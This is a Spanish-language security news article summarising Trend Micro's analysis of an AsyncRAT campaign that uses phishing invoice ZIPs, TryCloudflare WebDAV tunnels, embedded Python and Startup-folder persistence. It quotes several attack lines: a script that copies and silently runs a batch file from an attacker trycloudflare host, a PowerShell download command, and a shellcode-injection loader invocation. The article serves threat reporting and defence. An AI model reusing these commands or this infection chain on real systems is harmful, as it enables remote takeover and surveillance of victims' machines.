• AsyncRAT aprovecha los servicios de nivel gratuito de Cloudflare para enmascarar actividades maliciosas y evitar su detecció

Una campaña reciente de AsyncRAT está utilizando los servicios de nivel gratuito de Cloudflare y los túneles TryCloudflare para ocultar la actividad de acceso remoto dentro del tráfico en la nube que parece normal.

En estos ataques, los actores de amenazas envían correos electrónicos de phishing que enlazan a un archivo ZIP alojado en Dropbox, nombrado para parecer una factura en alemán, engañando a los usuarios para que abran lo que parece ser un documento de facturación rutinario.

Una vez abierto, el archivo revela un fichero con doble extensión, como “Rechnung-zu-Auftrag-W19248960825.pdf.url”, que se hace pasar por un PDF pero en realidad es un acceso directo a internet que inicia la cadena de infección.

A partir de ahí, el acceso directo se conecta a un recurso WebDAV alojado detrás de dominios TryCloudflare, donde se almacenan scripts de múltiples etapas y archivos por lotes.

Estos scripts descargan más componentes, crean un entorno local de Python y establecen persistencia para que el malware pueda reiniciarse en cada arranque.

La carga final es AsyncRAT, que otorga al atacante control remoto completo, incluyendo registro de teclas, captura de pantalla y ejecución de comandos en la máquina de la víctima.

Los analistas de Trend Micro identificaron esta actividad a través de la telemetría de Detección y Respuesta Gestionada (MDR), que mostró cómo Outlook y Microsoft Edge descargaban el archivo ZIP con temática de factura, seguido de conexiones WebDAV a infraestructura respaldada por Cloudflare y la entrega de cargas útiles mediante scripts.

Su investigación vinculó varios dominios de TryCloudflare al mismo servidor backend y conjunto de archivos, revelando un kit de herramientas reutilizable para múltiples campañas.

Más allá de la cadena técnica, el impacto es claro. Al aprovechar la red confiable de Cloudflare y usar descargas oficiales de Python, los atacantes se mezclan con el tráfico normal y las operaciones de software, haciendo que el bloqueo basado en dominios o reputación sea mucho menos efectivo.

Archivos por lotes colocados en la carpeta de Inicio, como ahke.bat y olsm.bat, mantienen activo el cargador basado en Python, mientras que el usuario solo ve un PDF legítimo abierto en el navegador, reduciendo la sospecha durante la infección.

Mecanismo de infección y abuso de Cloudflare

La primera etapa del script, por ejemplo as.wsh llamando a anc.wsf, descarga dos archivos por lotes, vio.bat y xeno.bat, y luego los ejecuta desde el directorio Temp del usuario usando Windows Script Host. Internamente, anc.wsf realiza una lógica similar a:

jsIFileSystem3.CopyFile("\\\\plus-condos-thy-redeem.trycloudflare.com@SSL\\DavWWWRoot\\vio.bat",
"%TEMP%\\vio.bat", true);
IWshShell3.Run("%TEMP%\\vio.bat", 0, true);

A continuación, vio.bat y xeno.bat usan PowerShell para descargar el paquete oficial de Python 3.14.0 integrado y extraerlo en una carpeta local, generalmente C:\Users<nombredeusuario>\AppData\Local\z1man. Un comando típico visto en la telemetría fue:

textpowershell -Command "iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip' -OutFile '%TEMP%\\p.zip'"

La persistencia se establece guardando ahke.bat y olsm.bat en la carpeta de Inicio, cada uno configurado para ejecutar Python con un script de carga llamado ne.py al arrancar.

Finalmente, ne.py realiza una inyección de código polimórfica basada en APC en explorer.exe usando shellcode cifrado almacenado en new.bin y claves de a.txt, llamado con:

textpython ne.py -i new.bin -k a.txt

Este desglose técnico completo muestra cómo los operadores de AsyncRAT encadenan túneles en la nube, WebDAV, Python e inyección de procesos para mantener el control de los sistemas infectados mientras permanecen ocultos dentro de la actividad normal de la nube y del sistema.